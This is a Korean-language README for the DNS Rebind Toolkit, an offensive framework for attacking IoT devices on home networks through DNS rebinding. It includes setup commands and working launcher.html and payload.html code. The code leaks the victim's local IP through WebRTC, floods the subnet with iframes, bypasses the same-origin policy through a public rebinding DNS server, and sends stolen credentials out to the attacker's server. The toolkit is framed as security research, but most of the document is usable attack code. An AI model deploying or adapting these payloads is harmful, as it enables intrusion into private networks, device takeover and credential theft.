
DNS 리바인딩 공격을 생성하기 위한 프론트엔드 JavaScript 툴킷.
면책 조항: 이 소프트웨어는 교육 목적으로만 제공됩니다. 이 소프트웨어는 불법 활동에 사용되어서는 안 됩니다. 저자는 그 사용에 대해 책임을 지지 않습니다. 나쁜 짓 하지 마세요.
DNS Rebind Toolkit은 로컬 영역 네트워크(LAN)의 취약한 호스트와 서비스를 대상으로 하는 DNS 리바인딩 익스플로잇을 개발하기 위한 프론트엔드 자바스크립트 프레임워크입니다. Google Home, Roku, Sonos WiFi 스피커, WiFi 라우터, "스마트" 온도조절기 및 기타 IoT 기기와 같은 장치를 대상으로 하는 데 사용할 수 있습니다. 이 툴킷을 사용하면 원격 공격자가 라우터의 방화벽을 우회하여 피해자의 홈 네트워크에 있는 장치와 직접 상호 작용하고, 개인 정보를 유출하며, 경우에 따라 취약한 장치 자체를 제어할 수도 있습니다.
이 공격은 대상 네트워크의 피해자가 링크를 클릭하거나 악성 iframe이 포함된 HTML 광고를 보기만 하면 됩니다. 그러면 피해자의 웹 브라우저가 프록시처럼 사용되어 홈 네트워크에 연결된 다른 호스트에 직접 액세스합니다. 그렇지 않으면 공격자가 인터넷에서 접근할 수 없는 대상 머신과 서비스입니다. 원격 공격자는 해당 서비스가 무엇인지, 피해자 네트워크에서 어떤 IP 주소를 사용하는지 알지 못할 수 있지만, DNS Rebind Toolkit은 수백 개의 가능성 있는 IP 주소를 무차별 대입(brute force)하여 이 문제를 처리합니다.
내부적으로 이 도구는 rebind.network:53에서 실행되는 공개 whonow DNS 서버를 사용하여 DNS 리바인딩 공격을 실행하고 피해자의 웹 브라우저가 동일 출처 정책을 위반하도록 속입니다. 그런 다음 WebRTC를 사용하여 피해자의 개인 IP 주소(예: 192.168.1.36)를 유출합니다. 이 로컬 IP 주소의 처음 세 옥텟을 사용하여 네트워크의 서브넷을 추측한 다음, 네트워크 서브넷에 있을 수 있는 각 호스트에 페이로드를 전달하는 256개의 iframe(192.168.1.0-255)을 주입합니다.
이 툴킷은 자체 DNS 리바인딩 공격을 개발하고 배포하는 데 사용할 수 있습니다. payloads/ 디렉토리에는 몇 가지 실제 공격 페이로드가 포함되어 있습니다. 이 페이로드에는 Google Home 및 Roku 제품을 포함한 몇 가지 인기 있는 IoT 기기에 대한 정보 유출(및 릭롤 장난) 공격이 포함되어 있습니다.
이 툴킷은 DNS 리바인딩 공격에 대한 독립적인 보안 연구의 산물입니다. 원본 연구에 대한 내용은 여기에서 읽을 수 있습니다.
# clone the repo
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit
# install dependencies
npm install
# run the server using root to provide access to privileged port 80
# this script serves files from the www/, /examples, /share, and /payloads directories
sudo node server
기본적으로 server.js는 각각 포트 8008, 8060, 1400, 80, 80에서 서비스를 실행하는 Google Home, Roku, Sonos 스피커, Phillips Hue 전구 및 Radio Thermostat 기기를 대상으로 하는 페이로드를 제공합니다. 홈 네트워크에 이러한 기기 중 하나가 있다면 http://rebind.network로 이동하여 멋진 서프라이즈를 확인해 보세요 ;). 개발자 콘솔을 열고 이러한 서비스가 무해하게 익스플로잇되어 데이터가 도난당하고 server.js로 유출되는 것을 지켜보세요.
이 툴킷은 DNS 리바인딩 공격을 만드는 데 함께 사용할 수 있는 두 가지 JavaScript 객체를 제공합니다:
DNSRebindAttack: 이 객체는 알려진 포트에서 실행 중인 취약한 서비스를 대상으로 공격을 시작하는 데 사용됩니다. 대상으로 선택한 각 IP 주소에 대해 하나의 페이로드를 생성합니다. DNSRebindAttack 객체는 여러 DNSRebindNode 객체를 생성, 관리 및 통신하는 데 사용됩니다. DNSRebindAttack이 시작한 각 페이로드에는 DNSRebindNode 객체가 포함되어야 합니다.DNSRebindNode: 이 정적 클래스 객체는 각 HTML 페이로드 파일에 포함되어야 합니다. 하나의 호스트에서 실행되는 하나의 서비스를 대상으로 하는 데 사용됩니다. 이를 생성한 DNSRebindAttack 객체와 통신할 수 있으며 DNS 리바인딩 공격을 실행(DNSRebindNode.rebind(...))하고 공격 중 발견된 데이터를 server.js로 유출(DNSRebindNode.exfiltrate(...))하는 헬퍼 함수가 있습니다.이 두 스크립트는 방화벽으로 보호되는 LAN의 알 수 없는 호스트를 대상으로 공격을 실행하기 위해 함께 사용됩니다. 기본적인 공격은 다음과 같습니다:
http://example.com/launcher.html)를 보냅니다. launcher.html에는 DNSRebindAttack 인스턴스가 포함되어 있습니다.http://example.com/launcher.html이 iframe으로 삽입된 페이지를 방문합니다. 그러면 launcher.html의 DNSRebindAttack이 공격을 시작합니다.DNSRebindAttack은 WebRTC 누출을 사용하여 피해자 머신의 로컬 IP 주소(예: 192.168.10.84)를 알아냅니다. 공격자는 이 정보를 사용하여 피해자 LAN에서 대상으로 할 IP 주소 범위(예: 192.168.10.0-255)를 선택합니다.launcher.html은 단일 서비스(예: 포트 8008에서 사용 가능한 비공식 Google Home REST API)를 대상으로 피해자 서브넷의 IP 주소 범위에 대해 DNS 리바인딩 공격(DNSRebindAttack.attack(...) 사용)을 시작합니다.참고로, 사용자 네트워크에 IP 주소를 알 수 없는 Google Home 기기가 하나 있고 전체 192.168.1.0/24 서브넷을 대상으로 공격이 시작되면 하나의 DNSRebindNode 리바인딩 공격만 성공하고 254개는 실패합니다.
공격은 세 가지의 조율된 스크립트와 파일로 구성됩니다:
DNSRebindAttack 인스턴스를 포함하는 HTML 파일(예: launcher.html)payload.html). 이 파일은 대상이 되는 각 IP 주소에 대해 DNSRebindAttack에 의해 launcher.html에 삽입됩니다.server.js)launcher.html다음은 HTML 런처 파일의 예입니다. 전체 문서는 examples/launcher.html에서 찾을 수 있습니다.
<!DOCTYPE html>
<head>
<title>Example launcher</title>
</head>
<body>
<!-- This script is a depency of DNSRebindAttack.js and must be included -->
<script type="text/javascript" src="/share/js/EventEmitter.js"></script>
<!-- Include the DNS Rebind Attack object -->
<script type="text/javascript" src="/share/js/DNSRebindAttack.js"></script>
<script type="text/javascript">
// DNSRebindAttack has a static method that uses WebRTC to leak the
// browser's IP address on the LAN. We'll use this to guess the LAN's IP
// subnet. If the local IP is 192.168.1.89, we'll launch 255 iframes
// targetting all IP addresses from 192.168.1.1-255
DNSRebindAttack.getLocalIPAddress()
.then(ip => launchRebindAttack(ip))
.catch(err => {
console.error(err)
// Looks like our nifty WebRTC leak trick didn't work (doesn't work
// in some browsers). No biggie, most home networks are 192.168.1.1/24
launchRebindAttack('192.168.1.1')
})
function launchRebindAttack(localIp) {
// convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255
const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))
const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
// The first argument is the domain name of a publicly accessible
// whonow server (https://github.com/brannondorsey/whonow).
// I've got one running on port 53 of rebind.network you can to use.
// The services you are attacking might not be running on port 80 so
// you will probably want to change that too.
const rebind = new DNSRebindAttack('rebind.network', 80)
// Launch a DNS Rebind attack, spawning 255 iframes attacking the service
// on each host of the subnet (or so we hope).
// Arguments are:
// 1) target ip addresses
// 2) IP address your Node server.js is running on. Usually 127.0.0.1
// during dev, but then the publicly accessible IP (not hostname)
// of the VPS hosting this repo in production.
// 3) the HTML payload to deliver to this service. This HTML file should
// have a DNSRebindNode instance implemented on in it.
// 4) the interval in milliseconds to wait between each new iframe
// embed. Spawning 100 iframes at the same time can choke (or crash)
// a browser. The higher this value, the longer the attack takes,
// but the less resources it consumes.
rebind.attack(ips, '127.0.0.1', 'examples/payload.html', 200)
// rebind.nodes is also an EventEmitter, only this one is fired using
// DNSRebindNode.emit(...). This allows DNSRebindNodes inside of
// iframes to post messages back to the parent DNSRebindAttack that
// launched them. You can define custome events by simply emitting
// DNSRebindNode.emit('my-custom-event') and a listener in rebind.nodes
// can receive it. That said, there are a few standard event names that
// get triggered automagically:
// - begin: triggered when DNSRebindNode.js is loaded. This signifies
// that an attack has been launched (or at least, it's payload was
// delivered) against an IP address.
// - rebind: the DNS rebind was successful, this node should now be
// communicating with the target service.
// - exfiltrate: send JSON data back to your Node server.js and save
// it inside the data/ folder.
// Additionally, the DNSRebindNode.destroy() static method
// will trigger the 'destory' event and cause DNSRebindAttack to
// remove the iframe.
rebind.nodes.on('begin', (ip) => {
// the DNSRebindNode has been loaded, attacking ip
})
rebind.nodes.on('rebind', (ip) => {
// the rebind was successful
console.log('node rebind', ip)
})
rebind.nodes.on('exfiltrate', (ip, data) => {
// JSON data was exfiltrated and saved to the data/
// folder on the remote machine hosting server.js
console.log('node exfiltrate', ip, data)
// data = {
// "username": "crashOverride",
// "password": "hacktheplanet!",
// }
})
}
</script>
</body>
</html>
payload.html다음은 HTML 페이로드 파일의 예입니다. 전체 문서는 examples/payload.html에서 찾을 수 있습니다.
<!DOCTYPE html>
<html>
<head>
<title>Example Payload</title>
</head>
<body>
<!--
Load the DNSRebindNode. This static class is used to launch the rebind
attack and communicate with the DNSRebindAttack instance in example-launcher.html
-->
<script type="text/javascript" src="/share/js/DNSRebindNode.js"></script>
<script type="text/javascript">
attack()
.then(() => {},
err => {
// there was an error at some point during the attack
console.error(err)
DNSRebindNode.emit('fatal', err.message)
}
) // remove this iframe by calling destroy()
.then(() => DNSRebindNode.destroy())
// launches the attack and returns a promise that is resolved if the target
// service is found and correctly exploited, or more likely, rejected because
// this host doesn't exist, the target service isn't running, or something
// went wrong with the exploit. Remember that this attack is being launched
// against 255+ IP addresses, so most of them won't succeed.
async function attack() {
// DNSRebindNode has some default fetch options that specify things
// like no caching, etc. You can re-use them for convenience, or ignore
// them and create your own options object for each fetch() request.
// Here are their default values:
// {
// method: "GET",
// headers: {
// // this doesn't work in all browsers. For instance,
// // Firefox doesn't let you do this.
// "Origin": "", // unset the origin header
// "Pragma": "no-cache",
// "Cache-Control": "no-cache"
// },
// cache: "no-cache"
// }
const getOptions = DNSRebindNode.fetchOptions()
try {
// In this example, we'll pretend we are attacking some service with
// an /auth.json file with username/password sitting in plaintext.
// Before we swipe those creds, we need to first perform the rebind
// attack. Most likely, our webserver will cache the DNS results
// for this page's host. DNSRebindNode.rebind(...) recursively
// re-attempts to rebind the host with a new, target IP address.
// This can take over a minute, and if it is unsuccessful the
// promise is rejected.
const opts = {
// these options get passed to the DNS rebind fetch request
fetchOptions: getOptions,
// by default, DNSRebindNode.rebind() is considered successful
// if it receives an HTTP 200 OK response from the target service.
// However, you can define any kind of "rebind success" scenario
// yourself with the successPredicate(...) function. This
// function receives a fetch result as a parameter and the return
// value determines if the rebind was successful (i.e. you are
// communicating with the target server). Here we check to see
// if the fetchResult was sent by our example vulnerable server.
successPredicate: (fetchResult) => {
return fetchResult.headers.get('Server') == 'Example Vulnerable Server v1.0'
}
}
// await the rebind. Can take up to over a minute depending on the
// victim's DNS cache settings or if there is no host listening on
// the other side.
await DNSRebindNode.rebind(`http://${location.host}/auth.json`, opts)
} catch (err) {
// whoops, the rebind failed. Either the browser's DNS cache was
// never cleared, or more likely, this service isn't running on the
// target host. Oh well... Bubble up the rejection and have our
// attack()'s rejection handler deal w/ it.
return Promise.reject(err)
}
try {
// alrighty, now that we've rebound the host and are communicating
// with the target service, let's grab the credentials
const creds = await fetch(`http://${location.host}/auth.json`)
.then(res => res.json())
// {
// "username": "crashOverride",
// "password": "hacktheplanet!",
// }
// console.log(creds)
// great, now let's exfiltrate those creds to the Node.js server
// running this whole shebang. That's the last thing we care about,
// so we will just return this promise as the result of attack()
// and let its handler's deal with it.
//
// NOTE: the second argument to exfiltrate(...) must be JSON
// serializable.
return DNSRebindNode.exfiltrate('auth-example', creds)
} catch (err) {
return Promise.reject(err)
}
}
</script>
</body>
</html>
server.js이 스크립트는 launcher.html 및 payload.html 파일을 제공하고 DNSRebindNode에서 유출된 데이터를 수신하여 data/ 폴더에 저장하는 데 사용됩니다. 개발 중에는 일반적으로 이 서버를 localhost에서 실행하고 DNSRebindAttack.attack(...)을 127.0.0.1로 지정합니다. 프로덕션에서는 VPS 클라우드 서버에서 서버를 실행하고 DNSRebindAttack.attack(...)을 공용 IP 주소로 지정합니다.
# run with admin privileged so that it can open port 80.
sudo node server
usage: server [-h] [-v] [-p PORT]
DNS Rebind Toolkit server
Optional arguments:
-h, --help Show this help message and exit.
-v, --version Show program's version number and exit.
-p PORT, --port PORT Which ports to bind the servers on. May include
multiple like: --port 80 --port 1337 (default: -p 80
-p 8008 -p 8060 -p 1337)
examples/vulnerable-server.js에 예제 취약 서버를 포함시켰습니다. 이 취약 서비스는 포트가 server.js와 동일한 포트와 일치해야 하므로 네트워크의 다른 머신에서 실행해야 합니다. 이 예제 공격을 직접 실행하려면 다음을 수행하세요:
# clone the repo
git clone https://github.com/brannondorsey/dns-rebind-toolkit
cd dns-rebind-toolkit
# launch the vulnerable server
node examples/vulnerable-server
# ...
# vulnerable server is listening on 3000
node server --port 3000
이제 브라우저에서 http://localhost:3000/launcher.html로 이동하여 개발자 콘솔을 엽니다. 1~2분 정도 기다리면 공격이 성공한 경우 보조 컴퓨터에서 실행 중인 취약 서버에서 덤프된 일부 자격 증명이 표시됩니다.
더 많은 예제는 examples/ 및 payloads/ 디렉토리를 확인하세요.
server.js: DNS Rebind Toolkit 서버payloads/: 몇 가지 취약한 IoT 기기를 대상으로 수작업으로 제작된 여러 HTML 페이로드 파일. 현재는 Google Home, Roku 및 Radio Thermostat에 대한 공격이 포함되어 있습니다. 향후 이 저장소에 더 많은 페이로드가 추가되기를 바랍니다(PR 환영합니다!)examples/: 예제 사용 파일.data/: DNSRebindNode.exfiltrate(...)에 의해 유출된 데이터가 저장되는 디렉토리.share/: examples/ 및 payload/의 여러 HTML 파일에서 공유하는 JavaScript 파일 디렉토리.이 툴킷은 연구자와 침투 테스터에게 유용한 도구로 개발되었습니다. 이 툴킷 제작으로 이어진 연구 중 일부를 살펴보려면 이 게시물을 확인하세요. 다른 서비스용 페이로드를 작성하는 경우 다른 사람들도 작업의 혜택을 받을 수 있도록 이 저장소에 PR을 보내는 것을 고려해 보세요!
DNSRebindAttack은 payload.html이 포함된 iframe 하나를 launcher.html 페이지에 삽입합니다. 각 iframe에는 공격 대상 IP 주소 범위에 정의된 단일 호스트의 포트 8008에 대한 공격을 실행하는 DNSRebindNode 객체가 하나 포함됩니다. 이 주입 프로세스는 공격 대상인 각 IP 주소에 대해 iframe이 주입될 때까지 계속됩니다.payload.html 파일은 DNSRebindNode를 사용하여 whonow DNS 서버와 통신함으로써 리바인딩 공격을 시도합니다. 성공하면 동일 출처 정책이 위반되고 payload.html은 Google Home 제품과 직접 통신할 수 있습니다. 일반적으로 payload.html은 대상 기기에 몇 가지 API 호출을 수행하고 공격을 종료하고 자체 파괴하기 전에 결과를 example.com에서 실행 중인 server.js로 유출하는 방식으로 작성됩니다.